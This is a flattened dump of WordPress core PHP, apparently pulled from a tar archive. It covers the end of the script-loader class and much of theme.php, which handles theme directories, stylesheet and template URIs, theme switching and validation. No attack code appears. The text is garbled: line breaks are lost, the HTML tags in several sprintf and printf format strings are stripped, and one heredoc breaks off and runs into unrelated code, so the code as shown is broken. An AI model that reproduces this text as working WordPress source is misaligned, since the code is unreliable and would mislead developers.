$before_handle || $after_handle ) { $inline_script_tag = $cond_before . $before_handle . $after_handle . $cond_after; } else { $inline_script_tag = ''; } /* * Prevent concatenation of scripts if the text domain is defined * to ensure the dependency order is respected. */ $translations_stop_concat = ! empty( $obj->textdomain ); $translations = $this->print_translations( $handle, false ); if ( $translations ) { $translations = sprintf( "\n%s\n\n", $this->type_attr, esc_attr( $handle ), $translations ); } if ( $this->do_concat ) { /** * Filters the script loader source. * * @since 2.2.0 * * @param string $src Script loader source path. * @param string $handle Script handle. */ $srce = apply_filters( 'script_loader_src', $src, $handle ); if ( $this->in_default_dir( $srce ) && ( $before_handle || $after_handle || $translations_stop_concat ) ) { $this->do_concat = false; // Have to print the so-far concatenated scripts right away to maintain the right order. _print_scripts(); $this->reset(); } elseif ( $this->in_default_dir( $srce ) && ! $conditional ) { $this->print_code .= $this->print_extra_script( $handle, false ); $this->concat .= "$handle,"; $this->concat_version .= "$handle$ver"; return true; } else { $this->ext_handles .= "$handle,"; $this->ext_version .= "$handle$ver"; } } $has_conditional_data = $conditional && $this->get_data( $handle, 'data' ); if ( $has_conditional_data ) { echo $cond_before; } $this->print_extra_script( $handle ); if ( $has_conditional_data ) { echo $cond_after; } // A single item may alias a set of items, by having dependencies, but no source. if ( ! $src ) { if ( $inline_script_tag ) { if ( $this->do_concat ) { $this->print_html .= $inline_script_tag; } else { echo $inline_script_tag; } } return true; } if ( ! preg_match( '|^(https?:)?//|', $src ) && ! ( $this->content_url && 0 === strpos( $src, $this->content_url ) ) ) { $src = $this->base_url . $src; } if ( ! empty( $ver ) ) { $src = add_query_arg( 'ver', $ver, $src ); } /** This filter is documented in wp-includes/class.wp-scripts.php */ $src = esc_url( apply_filters( 'script_loader_src', $src, $handle ) ); if ( ! $src ) { return true; } $tag = $translations . $cond_before . $before_handle; $tag .= sprintf( "\n", $this->type_attr, $src, esc_attr( $handle ) ); $tag .= $after_handle . $cond_after; /** * Filters the HTML script tag of an enqueued script. * * @since 4.1.0 * * @param string $tag The `\n", $this->type_attr, esc_attr( $handle ), esc_attr( $position ), $output ); } return $output; } /** * Localizes a script, only if the script has already been added. * * @since 2.1.0 * * @param string $handle Name of the script to attach data to. * @param string $object_name Name of the variable that will contain the data. * @param array $l10n Array of data to localize. * @return bool True on success, false on failure. */ public function localize( $handle, $object_name, $l10n ) { if ( 'jquery' === $handle ) { $handle = 'jquery-core'; } if ( is_array( $l10n ) && isset( $l10n['l10n_print_after'] ) ) { // back compat, preserve the code in 'l10n_print_after' if present. $after = $l10n['l10n_print_after']; unset( $l10n['l10n_print_after'] ); } if ( ! is_array( $l10n ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: 1: $l10n, 2: wp_add_inline_script() */ __( 'The %1$s parameter must be an array. To pass arbitrary data to scripts, use the %2$s function instead.' ), '$l10n', 'wp_add_inline_script()' ), '5.7.0' ); } if ( is_string( $l10n ) ) { $l10n = html_entity_decode( $l10n, ENT_QUOTES, 'UTF-8' ); } else { foreach ( (array) $l10n as $key => $value ) { if ( ! is_scalar( $value ) ) { continue; } $l10n[ $key ] = html_entity_decode( (string) $value, ENT_QUOTES, 'UTF-8' ); } } $script = "var $object_name = " . wp_json_encode( $l10n ) . ';'; if ( ! empty( $after ) ) { $script .= "\n$after;"; } $data = $this->get_data( $handle, 'data' ); if ( ! empty( $data ) ) { $script = "$data\n$script"; } return $this->add_data( $handle, 'data', $script ); } /** * Sets handle group. * * @since 2.8.0 * * @see WP_Dependencies::set_group() * * @param string $handle Name of the item. Should be unique. * @param bool $recursion Internal flag that calling function was called recursively. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return bool Not already in the group or a lower group. */ public function set_group( $handle, $recursion, $group = false ) { if ( isset( $this->registered[ $handle ]->args ) && 1 === $this->registered[ $handle ]->args ) { $grp = 1; } else { $grp = (int) $this->get_data( $handle, 'group' ); } if ( false !== $group && $grp > $group ) { $grp = $group; } return parent::set_group( $handle, $recursion, $grp ); } /** * Sets a translation textdomain. * * @since 5.0.0 * @since 5.1.0 The `$domain` parameter was made optional. * * @param string $handle Name of the script to register a translation domain to. * @param string $domain Optional. Text domain. Default 'default'. * @param string $path Optional. The full file path to the directory containing translation files. * @return bool True if the text domain was registered, false if not. */ public function set_translations( $handle, $domain = 'default', $path = null ) { if ( ! isset( $this->registered[ $handle ] ) ) { return false; } /** @var \_WP_Dependency $obj */ $obj = $this->registered[ $handle ]; if ( ! in_array( 'wp-i18n', $obj->deps, true ) ) { $obj->deps[] = 'wp-i18n'; } return $obj->set_translations( $domain, $path ); } /** * Prints translations set for a specific handle. * * @since 5.0.0 * * @param string $handle Name of the script to add the inline script to. * Must be lowercase. * @param bool $display Optional. Whether to print the script * instead of just returning it. Default true. * @return string|false Script on success, false otherwise. */ public function print_translations( $handle, $display = true ) { if ( ! isset( $this->registered[ $handle ] ) || empty( $this->registered[ $handle ]->textdomain ) ) { return false; } $domain = $this->registered[ $handle ]->textdomain; $path = $this->registered[ $handle ]->translations_path; $json_translations = load_script_textdomain( $handle, $domain, $path ); if ( ! $json_translations ) { return false; } $output = <<\n%s\n\n", $this->type_attr, esc_attr( $handle ), $output ); } return $output; } /** * Determines script dependencies. * * @since 2.1.0 * * @see WP_Dependencies::all_deps() * * @param string|string[] $handles Item handle (string) or item handles (array of strings). * @param bool $recursion Optional. Internal flag that function is calling itself. * Default false. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return bool True on success, false on failure. */ public function all_deps( $handles, $recursion = false, $group = false ) { $r = parent::all_deps( $handles, $recursion, $group ); if ( ! $recursion ) { /** * Filters the list of script dependencies left to print. * * @since 2.3.0 * * @param string[] $to_do An array of script dependency handles. */ $this->to_do = apply_filters( 'print_scripts_array', $this->to_do ); } return $r; } /** * Processes items and dependencies for the head group. * * @since 2.8.0 * * @see WP_Dependencies::do_items() * * @return string[] Handles of items that have been processed. */ public function do_head_items() { $this->do_items( false, 0 ); return $this->done; } /** * Processes items and dependencies for the footer group. * * @since 2.8.0 * * @see WP_Dependencies::do_items() * * @return string[] Handles of items that have been processed. */ public function do_footer_items() { $this->do_items( false, 1 ); return $this->done; } /** * Whether a handle's source is in a default directory. * * @since 2.8.0 * * @param string $src The source of the enqueued script. * @return bool True if found, false if not. */ public function in_default_dir( $src ) { if ( ! $this->default_dirs ) { return true; } if ( 0 === strpos( $src, '/' . WPINC . '/js/l10n' ) ) { return false; } foreach ( (array) $this->default_dirs as $test ) { if ( 0 === strpos( $src, $test ) ) { return true; } } return false; } /** * Resets class properties. * * @since 2.8.0 */ public function reset() { $this->do_concat = false; $this->print_code = ''; $this->concat = ''; $this->concat_version = ''; $this->print_html = ''; $this->ext_version = ''; $this->ext_handles = ''; } } theme.php000064400000371675147177035010006407 0ustar00 false, 'allowed' => null, 'blog_id' => 0, ); $args = wp_parse_args( $args, $defaults ); $theme_directories = search_theme_directories(); if ( is_array( $wp_theme_directories ) && count( $wp_theme_directories ) > 1 ) { // Make sure the active theme wins out, in case search_theme_directories() picks the wrong // one in the case of a conflict. (Normally, last registered theme root wins.) $current_theme = get_stylesheet(); if ( isset( $theme_directories[ $current_theme ] ) ) { $root_of_current_theme = get_raw_theme_root( $current_theme ); if ( ! in_array( $root_of_current_theme, $wp_theme_directories, true ) ) { $root_of_current_theme = WP_CONTENT_DIR . $root_of_current_theme; } $theme_directories[ $current_theme ]['theme_root'] = $root_of_current_theme; } } if ( empty( $theme_directories ) ) { return array(); } if ( is_multisite() && null !== $args['allowed'] ) { $allowed = $args['allowed']; if ( 'network' === $allowed ) { $theme_directories = array_intersect_key( $theme_directories, WP_Theme::get_allowed_on_network() ); } elseif ( 'site' === $allowed ) { $theme_directories = array_intersect_key( $theme_directories, WP_Theme::get_allowed_on_site( $args['blog_id'] ) ); } elseif ( $allowed ) { $theme_directories = array_intersect_key( $theme_directories, WP_Theme::get_allowed( $args['blog_id'] ) ); } else { $theme_directories = array_diff_key( $theme_directories, WP_Theme::get_allowed( $args['blog_id'] ) ); } } $themes = array(); static $_themes = array(); foreach ( $theme_directories as $theme => $theme_root ) { if ( isset( $_themes[ $theme_root['theme_root'] . '/' . $theme ] ) ) { $themes[ $theme ] = $_themes[ $theme_root['theme_root'] . '/' . $theme ]; } else { $themes[ $theme ] = new WP_Theme( $theme, $theme_root['theme_root'] ); $_themes[ $theme_root['theme_root'] . '/' . $theme ] = $themes[ $theme ]; } } if ( null !== $args['errors'] ) { foreach ( $themes as $theme => $wp_theme ) { if ( $wp_theme->errors() != $args['errors'] ) { unset( $themes[ $theme ] ); } } } return $themes; } /** * Gets a WP_Theme object for a theme. * * @since 3.4.0 * * @global array $wp_theme_directories * * @param string $stylesheet Optional. Directory name for the theme. Defaults to active theme. * @param string $theme_root Optional. Absolute path of the theme root to look in. * If not specified, get_raw_theme_root() is used to calculate * the theme root for the $stylesheet provided (or active theme). * @return WP_Theme Theme object. Be sure to check the object's exists() method * if you need to confirm the theme's existence. */ function wp_get_theme( $stylesheet = '', $theme_root = '' ) { global $wp_theme_directories; if ( empty( $stylesheet ) ) { $stylesheet = get_stylesheet(); } if ( empty( $theme_root ) ) { $theme_root = get_raw_theme_root( $stylesheet ); if ( false === $theme_root ) { $theme_root = WP_CONTENT_DIR . '/themes'; } elseif ( ! in_array( $theme_root, (array) $wp_theme_directories, true ) ) { $theme_root = WP_CONTENT_DIR . $theme_root; } } return new WP_Theme( $stylesheet, $theme_root ); } /** * Clears the cache held by get_theme_roots() and WP_Theme. * * @since 3.5.0 * @param bool $clear_update_cache Whether to clear the theme updates cache. */ function wp_clean_themes_cache( $clear_update_cache = true ) { if ( $clear_update_cache ) { delete_site_transient( 'update_themes' ); } search_theme_directories( true ); foreach ( wp_get_themes( array( 'errors' => null ) ) as $theme ) { $theme->cache_delete(); } } /** * Whether a child theme is in use. * * @since 3.0.0 * * @return bool True if a child theme is in use, false otherwise. */ function is_child_theme() { return ( TEMPLATEPATH !== STYLESHEETPATH ); } /** * Retrieves name of the current stylesheet. * * The theme name that is currently set as the front end theme. * * For all intents and purposes, the template name and the stylesheet name * are going to be the same for most cases. * * @since 1.5.0 * * @return string Stylesheet name. */ function get_stylesheet() { /** * Filters the name of current stylesheet. * * @since 1.5.0 * * @param string $stylesheet Name of the current stylesheet. */ return apply_filters( 'stylesheet', get_option( 'stylesheet' ) ); } /** * Retrieves stylesheet directory path for the active theme. * * @since 1.5.0 * * @return string Path to active theme's stylesheet directory. */ function get_stylesheet_directory() { $stylesheet = get_stylesheet(); $theme_root = get_theme_root( $stylesheet ); $stylesheet_dir = "$theme_root/$stylesheet"; /** * Filters the stylesheet directory path for the active theme. * * @since 1.5.0 * * @param string $stylesheet_dir Absolute path to the active theme. * @param string $stylesheet Directory name of the active theme. * @param string $theme_root Absolute path to themes directory. */ return apply_filters( 'stylesheet_directory', $stylesheet_dir, $stylesheet, $theme_root ); } /** * Retrieves stylesheet directory URI for the active theme. * * @since 1.5.0 * * @return string URI to active theme's stylesheet directory. */ function get_stylesheet_directory_uri() { $stylesheet = str_replace( '%2F', '/', rawurlencode( get_stylesheet() ) ); $theme_root_uri = get_theme_root_uri( $stylesheet ); $stylesheet_dir_uri = "$theme_root_uri/$stylesheet"; /** * Filters the stylesheet directory URI. * * @since 1.5.0 * * @param string $stylesheet_dir_uri Stylesheet directory URI. * @param string $stylesheet Name of the activated theme's directory. * @param string $theme_root_uri Themes root URI. */ return apply_filters( 'stylesheet_directory_uri', $stylesheet_dir_uri, $stylesheet, $theme_root_uri ); } /** * Retrieves stylesheet URI for the active theme. * * The stylesheet file name is 'style.css' which is appended to the stylesheet directory URI path. * See get_stylesheet_directory_uri(). * * @since 1.5.0 * * @return string URI to active theme's stylesheet. */ function get_stylesheet_uri() { $stylesheet_dir_uri = get_stylesheet_directory_uri(); $stylesheet_uri = $stylesheet_dir_uri . '/style.css'; /** * Filters the URI of the active theme stylesheet. * * @since 1.5.0 * * @param string $stylesheet_uri Stylesheet URI for the active theme/child theme. * @param string $stylesheet_dir_uri Stylesheet directory URI for the active theme/child theme. */ return apply_filters( 'stylesheet_uri', $stylesheet_uri, $stylesheet_dir_uri ); } /** * Retrieves the localized stylesheet URI. * * The stylesheet directory for the localized stylesheet files are located, by * default, in the base theme directory. The name of the locale file will be the * locale followed by '.css'. If that does not exist, then the text direction * stylesheet will be checked for existence, for example 'ltr.css'. * * The theme may change the location of the stylesheet directory by either using * the {@see 'stylesheet_directory_uri'} or {@see 'locale_stylesheet_uri'} filters. * * If you want to change the location of the stylesheet files for the entire * WordPress workflow, then change the former. If you just have the locale in a * separate folder, then change the latter. * * @since 2.1.0 * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @return string URI to active theme's localized stylesheet. */ function get_locale_stylesheet_uri() { global $wp_locale; $stylesheet_dir_uri = get_stylesheet_directory_uri(); $dir = get_stylesheet_directory(); $locale = get_locale(); if ( file_exists( "$dir/$locale.css" ) ) { $stylesheet_uri = "$stylesheet_dir_uri/$locale.css"; } elseif ( ! empty( $wp_locale->text_direction ) && file_exists( "$dir/{$wp_locale->text_direction}.css" ) ) { $stylesheet_uri = "$stylesheet_dir_uri/{$wp_locale->text_direction}.css"; } else { $stylesheet_uri = ''; } /** * Filters the localized stylesheet URI. * * @since 2.1.0 * * @param string $stylesheet_uri Localized stylesheet URI. * @param string $stylesheet_dir_uri Stylesheet directory URI. */ return apply_filters( 'locale_stylesheet_uri', $stylesheet_uri, $stylesheet_dir_uri ); } /** * Retrieves name of the active theme. * * @since 1.5.0 * * @return string Template name. */ function get_template() { /** * Filters the name of the active theme. * * @since 1.5.0 * * @param string $template active theme's directory name. */ return apply_filters( 'template', get_option( 'template' ) ); } /** * Retrieves template directory path for the active theme. * * @since 1.5.0 * * @return string Path to active theme's template directory. */ function get_template_directory() { $template = get_template(); $theme_root = get_theme_root( $template ); $template_dir = "$theme_root/$template"; /** * Filters the active theme directory path. * * @since 1.5.0 * * @param string $template_dir The path of the active theme directory. * @param string $template Directory name of the active theme. * @param string $theme_root Absolute path to the themes directory. */ return apply_filters( 'template_directory', $template_dir, $template, $theme_root ); } /** * Retrieves template directory URI for the active theme. * * @since 1.5.0 * * @return string URI to active theme's template directory. */ function get_template_directory_uri() { $template = str_replace( '%2F', '/', rawurlencode( get_template() ) ); $theme_root_uri = get_theme_root_uri( $template ); $template_dir_uri = "$theme_root_uri/$template"; /** * Filters the active theme directory URI. * * @since 1.5.0 * * @param string $template_dir_uri The URI of the active theme directory. * @param string $template Directory name of the active theme. * @param string $theme_root_uri The themes root URI. */ return apply_filters( 'template_directory_uri', $template_dir_uri, $template, $theme_root_uri ); } /** * Retrieves theme roots. * * @since 2.9.0 * * @global array $wp_theme_directories * * @return array|string An array of theme roots keyed by template/stylesheet * or a single theme root if all themes have the same root. */ function get_theme_roots() { global $wp_theme_directories; if ( ! is_array( $wp_theme_directories ) || count( $wp_theme_directories ) <= 1 ) { return '/themes'; } $theme_roots = get_site_transient( 'theme_roots' ); if ( false === $theme_roots ) { search_theme_directories( true ); // Regenerate the transient. $theme_roots = get_site_transient( 'theme_roots' ); } return $theme_roots; } /** * Registers a directory that contains themes. * * @since 2.9.0 * * @global array $wp_theme_directories * * @param string $directory Either the full filesystem path to a theme folder * or a folder within WP_CONTENT_DIR. * @return bool True if successfully registered a directory that contains themes, * false if the directory does not exist. */ function register_theme_directory( $directory ) { global $wp_theme_directories; if ( ! file_exists( $directory ) ) { // Try prepending as the theme directory could be relative to the content directory. $directory = WP_CONTENT_DIR . '/' . $directory; // If this directory does not exist, return and do not register. if ( ! file_exists( $directory ) ) { return false; } } if ( ! is_array( $wp_theme_directories ) ) { $wp_theme_directories = array(); } $untrailed = untrailingslashit( $directory ); if ( ! empty( $untrailed ) && ! in_array( $untrailed, $wp_theme_directories, true ) ) { $wp_theme_directories[] = $untrailed; } return true; } /** * Searches all registered theme directories for complete and valid themes. * * @since 2.9.0 * * @global array $wp_theme_directories * * @param bool $force Optional. Whether to force a new directory scan. Default false. * @return array|false Valid themes found on success, false on failure. */ function search_theme_directories( $force = false ) { global $wp_theme_directories; static $found_themes = null; if ( empty( $wp_theme_directories ) ) { return false; } if ( ! $force && isset( $found_themes ) ) { return $found_themes; } $found_themes = array(); $wp_theme_directories = (array) $wp_theme_directories; $relative_theme_roots = array(); /* * Set up maybe-relative, maybe-absolute array of theme directories. * We always want to return absolute, but we need to cache relative * to use in get_theme_root(). */ foreach ( $wp_theme_directories as $theme_root ) { if ( 0 === strpos( $theme_root, WP_CONTENT_DIR ) ) { $relative_theme_roots[ str_replace( WP_CONTENT_DIR, '', $theme_root ) ] = $theme_root; } else { $relative_theme_roots[ $theme_root ] = $theme_root; } } /** * Filters whether to get the cache of the registered theme directories. * * @since 3.4.0 * * @param bool $cache_expiration Whether to get the cache of the theme directories. Default false. * @param string $context The class or function name calling the filter. */ $cache_expiration = apply_filters( 'wp_cache_themes_persistently', false, 'search_theme_directories' ); if ( $cache_expiration ) { $cached_roots = get_site_transient( 'theme_roots' ); if ( is_array( $cached_roots ) ) { foreach ( $cached_roots as $theme_dir => $theme_root ) { // A cached theme root is no longer around, so skip it. if ( ! isset( $relative_theme_roots[ $theme_root ] ) ) { continue; } $found_themes[ $theme_dir ] = array( 'theme_file' => $theme_dir . '/style.css', 'theme_root' => $relative_theme_roots[ $theme_root ], // Convert relative to absolute. ); } return $found_themes; } if ( ! is_int( $cache_expiration ) ) { $cache_expiration = 30 * MINUTE_IN_SECONDS; } } else { $cache_expiration = 30 * MINUTE_IN_SECONDS; } /* Loop the registered theme directories and extract all themes */ foreach ( $wp_theme_directories as $theme_root ) { // Start with directories in the root of the active theme directory. $dirs = @ scandir( $theme_root ); if ( ! $dirs ) { trigger_error( "$theme_root is not readable", E_USER_NOTICE ); continue; } foreach ( $dirs as $dir ) { if ( ! is_dir( $theme_root . '/' . $dir ) || '.' === $dir[0] || 'CVS' === $dir ) { continue; } if ( file_exists( $theme_root . '/' . $dir . '/style.css' ) ) { // wp-content/themes/a-single-theme // wp-content/themes is $theme_root, a-single-theme is $dir. $found_themes[ $dir ] = array( 'theme_file' => $dir . '/style.css', 'theme_root' => $theme_root, ); } else { $found_theme = false; // wp-content/themes/a-folder-of-themes/* // wp-content/themes is $theme_root, a-folder-of-themes is $dir, then themes are $sub_dirs. $sub_dirs = @ scandir( $theme_root . '/' . $dir ); if ( ! $sub_dirs ) { trigger_error( "$theme_root/$dir is not readable", E_USER_NOTICE ); continue; } foreach ( $sub_dirs as $sub_dir ) { if ( ! is_dir( $theme_root . '/' . $dir . '/' . $sub_dir ) || '.' === $dir[0] || 'CVS' === $dir ) { continue; } if ( ! file_exists( $theme_root . '/' . $dir . '/' . $sub_dir . '/style.css' ) ) { continue; } $found_themes[ $dir . '/' . $sub_dir ] = array( 'theme_file' => $dir . '/' . $sub_dir . '/style.css', 'theme_root' => $theme_root, ); $found_theme = true; } // Never mind the above, it's just a theme missing a style.css. // Return it; WP_Theme will catch the error. if ( ! $found_theme ) { $found_themes[ $dir ] = array( 'theme_file' => $dir . '/style.css', 'theme_root' => $theme_root, ); } } } } asort( $found_themes ); $theme_roots = array(); $relative_theme_roots = array_flip( $relative_theme_roots ); foreach ( $found_themes as $theme_dir => $theme_data ) { $theme_roots[ $theme_dir ] = $relative_theme_roots[ $theme_data['theme_root'] ]; // Convert absolute to relative. } if ( get_site_transient( 'theme_roots' ) != $theme_roots ) { set_site_transient( 'theme_roots', $theme_roots, $cache_expiration ); } return $found_themes; } /** * Retrieves path to themes directory. * * Does not have trailing slash. * * @since 1.5.0 * * @global array $wp_theme_directories * * @param string $stylesheet_or_template Optional. The stylesheet or template name of the theme. * Default is to leverage the main theme root. * @return string Themes directory path. */ function get_theme_root( $stylesheet_or_template = '' ) { global $wp_theme_directories; $theme_root = ''; if ( $stylesheet_or_template ) { $theme_root = get_raw_theme_root( $stylesheet_or_template ); if ( $theme_root ) { // Always prepend WP_CONTENT_DIR unless the root currently registered as a theme directory. // This gives relative theme roots the benefit of the doubt when things go haywire. if ( ! in_array( $theme_root, (array) $wp_theme_directories, true ) ) { $theme_root = WP_CONTENT_DIR . $theme_root; } } } if ( ! $theme_root ) { $theme_root = WP_CONTENT_DIR . '/themes'; } /** * Filters the absolute path to the themes directory. * * @since 1.5.0 * * @param string $theme_root Absolute path to themes directory. */ return apply_filters( 'theme_root', $theme_root ); } /** * Retrieves URI for themes directory. * * Does not have trailing slash. * * @since 1.5.0 * * @global array $wp_theme_directories * * @param string $stylesheet_or_template Optional. The stylesheet or template name of the theme. * Default is to leverage the main theme root. * @param string $theme_root Optional. The theme root for which calculations will be based, * preventing the need for a get_raw_theme_root() call. Default empty. * @return string Themes directory URI. */ function get_theme_root_uri( $stylesheet_or_template = '', $theme_root = '' ) { global $wp_theme_directories; if ( $stylesheet_or_template && ! $theme_root ) { $theme_root = get_raw_theme_root( $stylesheet_or_template ); } if ( $stylesheet_or_template && $theme_root ) { if ( in_array( $theme_root, (array) $wp_theme_directories, true ) ) { // Absolute path. Make an educated guess. YMMV -- but note the filter below. if ( 0 === strpos( $theme_root, WP_CONTENT_DIR ) ) { $theme_root_uri = content_url( str_replace( WP_CONTENT_DIR, '', $theme_root ) ); } elseif ( 0 === strpos( $theme_root, ABSPATH ) ) { $theme_root_uri = site_url( str_replace( ABSPATH, '', $theme_root ) ); } elseif ( 0 === strpos( $theme_root, WP_PLUGIN_DIR ) || 0 === strpos( $theme_root, WPMU_PLUGIN_DIR ) ) { $theme_root_uri = plugins_url( basename( $theme_root ), $theme_root ); } else { $theme_root_uri = $theme_root; } } else { $theme_root_uri = content_url( $theme_root ); } } else { $theme_root_uri = content_url( 'themes' ); } /** * Filters the URI for themes directory. * * @since 1.5.0 * * @param string $theme_root_uri The URI for themes directory. * @param string $siteurl WordPress web address which is set in General Options. * @param string $stylesheet_or_template The stylesheet or template name of the theme. */ return apply_filters( 'theme_root_uri', $theme_root_uri, get_option( 'siteurl' ), $stylesheet_or_template ); } /** * Gets the raw theme root relative to the content directory with no filters applied. * * @since 3.1.0 * * @global array $wp_theme_directories * * @param string $stylesheet_or_template The stylesheet or template name of the theme. * @param bool $skip_cache Optional. Whether to skip the cache. * Defaults to false, meaning the cache is used. * @return string Theme root. */ function get_raw_theme_root( $stylesheet_or_template, $skip_cache = false ) { global $wp_theme_directories; if ( ! is_array( $wp_theme_directories ) || count( $wp_theme_directories ) <= 1 ) { return '/themes'; } $theme_root = false; // If requesting the root for the active theme, consult options to avoid calling get_theme_roots(). if ( ! $skip_cache ) { if ( get_option( 'stylesheet' ) == $stylesheet_or_template ) { $theme_root = get_option( 'stylesheet_root' ); } elseif ( get_option( 'template' ) == $stylesheet_or_template ) { $theme_root = get_option( 'template_root' ); } } if ( empty( $theme_root ) ) { $theme_roots = get_theme_roots(); if ( ! empty( $theme_roots[ $stylesheet_or_template ] ) ) { $theme_root = $theme_roots[ $stylesheet_or_template ]; } } return $theme_root; } /** * Displays localized stylesheet link element. * * @since 2.1.0 */ function locale_stylesheet() { $stylesheet = get_locale_stylesheet_uri(); if ( empty( $stylesheet ) ) { return; } $type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"'; printf( '', $stylesheet, $type_attr ); } /** * Switches the theme. * * Accepts one argument: $stylesheet of the theme. It also accepts an additional function signature * of two arguments: $template then $stylesheet. This is for backward compatibility. * * @since 2.5.0 * * @global array $wp_theme_directories * @global WP_Customize_Manager $wp_customize * @global array $sidebars_widgets * * @param string $stylesheet Stylesheet name. */ function switch_theme( $stylesheet ) { global $wp_theme_directories, $wp_customize, $sidebars_widgets; $requirements = validate_theme_requirements( $stylesheet ); if ( is_wp_error( $requirements ) ) { wp_die( $requirements ); } $_sidebars_widgets = null; if ( 'wp_ajax_customize_save' === current_action() ) { $old_sidebars_widgets_data_setting = $wp_customize->get_setting( 'old_sidebars_widgets_data' ); if ( $old_sidebars_widgets_data_setting ) { $_sidebars_widgets = $wp_customize->post_value( $old_sidebars_widgets_data_setting ); } } elseif ( is_array( $sidebars_widgets ) ) { $_sidebars_widgets = $sidebars_widgets; } if ( is_array( $_sidebars_widgets ) ) { set_theme_mod( 'sidebars_widgets', array( 'time' => time(), 'data' => $_sidebars_widgets, ) ); } $nav_menu_locations = get_theme_mod( 'nav_menu_locations' ); update_option( 'theme_switch_menu_locations', $nav_menu_locations ); if ( func_num_args() > 1 ) { $stylesheet = func_get_arg( 1 ); } $old_theme = wp_get_theme(); $new_theme = wp_get_theme( $stylesheet ); $template = $new_theme->get_template(); if ( wp_is_recovery_mode() ) { $paused_themes = wp_paused_themes(); $paused_themes->delete( $old_theme->get_stylesheet() ); $paused_themes->delete( $old_theme->get_template() ); } update_option( 'template', $template ); update_option( 'stylesheet', $stylesheet ); if ( count( $wp_theme_directories ) > 1 ) { update_option( 'template_root', get_raw_theme_root( $template, true ) ); update_option( 'stylesheet_root', get_raw_theme_root( $stylesheet, true ) ); } else { delete_option( 'template_root' ); delete_option( 'stylesheet_root' ); } $new_name = $new_theme->get( 'Name' ); update_option( 'current_theme', $new_name ); // Migrate from the old mods_{name} option to theme_mods_{slug}. if ( is_admin() && false === get_option( 'theme_mods_' . $stylesheet ) ) { $default_theme_mods = (array) get_option( 'mods_' . $new_name ); if ( ! empty( $nav_menu_locations ) && empty( $default_theme_mods['nav_menu_locations'] ) ) { $default_theme_mods['nav_menu_locations'] = $nav_menu_locations; } add_option( "theme_mods_$stylesheet", $default_theme_mods ); } else { /* * Since retrieve_widgets() is called when initializing a theme in the Customizer, * we need to remove the theme mods to avoid overwriting changes made via * the Customizer when accessing wp-admin/widgets.php. */ if ( 'wp_ajax_customize_save' === current_action() ) { remove_theme_mod( 'sidebars_widgets' ); } } update_option( 'theme_switched', $old_theme->get_stylesheet() ); /** * Fires after the theme is switched. * * @since 1.5.0 * @since 4.5.0 Introduced the `$old_theme` parameter. * * @param string $new_name Name of the new theme. * @param WP_Theme $new_theme WP_Theme instance of the new theme. * @param WP_Theme $old_theme WP_Theme instance of the old theme. */ do_action( 'switch_theme', $new_name, $new_theme, $old_theme ); } /** * Checks that the active theme has the required files. * * Standalone themes need to have a `templates/index.html` or `index.php` template file. * Child themes need to have a `Template` header in the `style.css` stylesheet. * * Does not initially check the default theme, which is the fallback and should always exist. * But if it doesn't exist, it'll fall back to the latest core default theme that does exist. * Will switch theme to the fallback theme if active theme does not validate. * * You can use the {@see 'validate_current_theme'} filter to return false to disable * this functionality. * * @since 1.5.0 * @since 6.0.0 Removed the requirement for block themes to have an `index.php` template. * * @see WP_DEFAULT_THEME * * @return bool */ function validate_current_theme() { /** * Filters whether to validate the active theme. * * @since 2.7.0 * * @param bool $validate Whether to validate the active theme. Default true. */ if ( wp_installing() || ! apply_filters( 'validate_current_theme', true ) ) { return true; } if ( ! file_exists( get_template_directory() . '/templates/index.html' ) && ! file_exists( get_template_directory() . '/block-templates/index.html' ) // Deprecated path support since 5.9.0. && ! file_exists( get_template_directory() . '/index.php' ) ) { // Invalid. } elseif ( ! file_exists( get_template_directory() . '/style.css' ) ) { // Invalid. } elseif ( is_child_theme() && ! file_exists( get_stylesheet_directory() . '/style.css' ) ) { // Invalid. } else { // Valid. return true; } $default = wp_get_theme( WP_DEFAULT_THEME ); if ( $default->exists() ) { switch_theme( WP_DEFAULT_THEME ); return false; } /** * If we're in an invalid state but WP_DEFAULT_THEME doesn't exist, * switch to the latest core default theme that's installed. * * If it turns out that this latest core default theme is our current * theme, then there's nothing we can do about that, so we have to bail, * rather than going into an infinite loop. (This is why there are * checks against WP_DEFAULT_THEME above, also.) We also can't do anything * if it turns out there is no default theme installed. (That's `false`.) */ $default = WP_Theme::get_core_default_theme(); if ( false === $default || get_stylesheet() == $default->get_stylesheet() ) { return true; } switch_theme( $default->get_stylesheet() ); return false; } /** * Validates the theme requirements for WordPress version and PHP version. * * Uses the information from `Requires at least` and `Requires PHP` headers * defined in the theme's `style.css` file. * * @since 5.5.0 * @since 5.8.0 Removed support for using `readme.txt` as a fallback. * * @param string $stylesheet Directory name for the theme. * @return true|WP_Error True if requirements are met, WP_Error on failure. */ function validate_theme_requirements( $stylesheet ) { $theme = wp_get_theme( $stylesheet ); $requirements = array( 'requires' => ! empty( $theme->get( 'RequiresWP' ) ) ? $theme->get( 'RequiresWP' ) : '', 'requires_php' => ! empty( $theme->get( 'RequiresPHP' ) ) ? $theme->get( 'RequiresPHP' ) : '', ); $compatible_wp = is_wp_version_compatible( $requirements['requires'] ); $compatible_php = is_php_version_compatible( $requirements['requires_php'] ); if ( ! $compatible_wp && ! $compatible_php ) { return new WP_Error( 'theme_wp_php_incompatible', sprintf( /* translators: %s: Theme name. */ _x( 'Error: Current WordPress and PHP versions do not meet minimum requirements for %s.', 'theme' ), $theme->display( 'Name' ) ) ); } elseif ( ! $compatible_php ) { return new WP_Error( 'theme_php_incompatible', sprintf( /* translators: %s: Theme name. */ _x( 'Error: Current PHP version does not meet minimum requirements for %s.', 'theme' ), $theme->display( 'Name' ) ) ); } elseif ( ! $compatible_wp ) { return new WP_Error( 'theme_wp_incompatible', sprintf( /* translators: %s: Theme name. */ _x( 'Error: Current WordPress version does not meet minimum requirements for %s.', 'theme' ), $theme->display( 'Name' ) ) ); } return true; } /** * Retrieves all theme modifications. * * @since 3.1.0 * @since 5.9.0 The return value is always an array. * * @return array Theme modifications. */ function get_theme_mods() { $theme_slug = get_option( 'stylesheet' ); $mods = get_option( "theme_mods_$theme_slug" ); if ( false === $mods ) { $theme_name = get_option( 'current_theme' ); if ( false === $theme_name ) { $theme_name = wp_get_theme()->get( 'Name' ); } $mods = get_option( "mods_$theme_name" ); // Deprecated location. if ( is_admin() && false !== $mods ) { update_option( "theme_mods_$theme_slug", $mods ); 